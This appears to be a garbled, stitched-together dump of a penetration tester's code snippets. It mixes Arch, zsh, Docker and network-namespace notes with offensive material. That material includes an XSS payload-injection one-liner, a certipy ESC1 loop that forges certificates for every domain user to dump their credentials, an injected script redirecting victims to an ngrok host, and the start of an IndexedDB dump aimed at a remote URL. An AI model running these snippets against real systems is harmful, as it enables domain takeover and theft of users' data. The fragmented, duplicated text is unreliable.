//Download ISO //Boot on ISO (may need to disable SecureBoot)
loadkeys fr //Ethernet //Just plug
//Wifi : iwctl > device list
//Download ISO //Boot on ISO (may need to disable SecureBoot)
loadkeys fr //Ethernet //Just plug
//Wifi : iwctl > device list
echo "URL WITH PARAM" | reflector | qsreplace '"><img src=x onerror=alert(1);>' | freq |
//for i in $(ls /etc/vmware/firewall/*.xml); do cat $i | xq .;echo ","; done > /tmp/firewallRules.json | |
const fs = require('fs'); | |
let rawdatas = fs.readFileSync('./firewallRules.json'); | |
let datas = JSON.parse(rawdatas); | |
let result = []; | |
let rules = []; |
#Dump Passwords with ESC1 Only | |
#ldapdomaindump.py > cat domain_users.grep | awk -F'\t' '{print $3}' | tr '[:upper:]' '[:lower:]' > AllUsersNames | |
#Run this script with : for i in $(cat AllUsersNames); do ./bf.sh $i; done | |
certipy req -u 'USER' -p 'PASSWORD' -target PKIXX.domain.ltd -template TEMPLATENAME -ca CA-NAME -upn $1@domain.tld | |
certipy auth -pfx $1.pfx -dc-ip IP >> res.bf |
prompt_symbol=💀 | |
prompt_symbol=🦄 | |
# Skull emoji for root terminal | |
[ "$EUID" -eq 0 ] && prompt_symbol=💀 | |
#PROMPT=$'%F{%(#.bold.blue)}┌─%F{%(#.bold.green)}${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%b%m%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.bold.blue)}]\n└─[%B%F{%(#.bold.yellow)}$(date +%d/%m" | "%H:%M)%b%F{%(#.bold.blue)}] %B%(#.%F{red}#.%F{blue}$)%b%F{reset} ' | |
PROMPT=$'%F{%(#.bold.blue)}┌─%F{%(#.bold.green)}${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%m%b%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.bold.blue)}]\n└─[%B%F{%(#.bold.yellow)}$(date +%d/%m" | "%H:%M)%b%F{%(#.bold.blue)}]$(ls .git 1>/dev/null 2>/dev/null && echo -n "[" && echo -n $(git branch --show-current) && echo -n "]") %B%(#.%F{red}#.%F{blue}$)%b%F{reset} ' |
<script> | |
function toto(){window.location.href="http://ccd8-185-43-247-118.ngrok.io/itworks"} | |
toto(); | |
</script> |
curl -fsSL https://test.docker.com -o install-docker.sh | |
chmod +x install-docker.sh | |
./install-docker.sh | |
sudo usermod -aG docker ubuntu | |
sudo apt-get install docker-compose-plugin |
var REMOTE_URL="TO_REPLACE"; | |
indexedDB.databases().then(d =>{ | |
d.forEach(db=>{ | |
var DB_NAME=db.name; | |
var DB_VERSION=db.version; | |
var open=window.indexedDB.open(DB_NAME,DB_VERSION); | |
open.onsuccess = function(){ | |
console.log("Db Opened"); | |
var db = open.result; | |
var transaction = db.transaction(db.objectStoreNames[0],"readwrite"); |
cd Vagrant/scripts/ && mkdir perso && vim conf.ps1 | |
conf.ps1 | |
``` | |
#Create Groups | |
#Create Users |
#$1 => interface | |
# Add a new namespace called test_ns | |
ip netns add test_ns | |
# Set test to use eth0, after this point eth0 is not usable by programs | |
# outside the namespace | |
ip link set $1 netns test_ns | |
# Bring up eth0 inside test_ns | |
ip netns exec test_ns ip link set $1 up |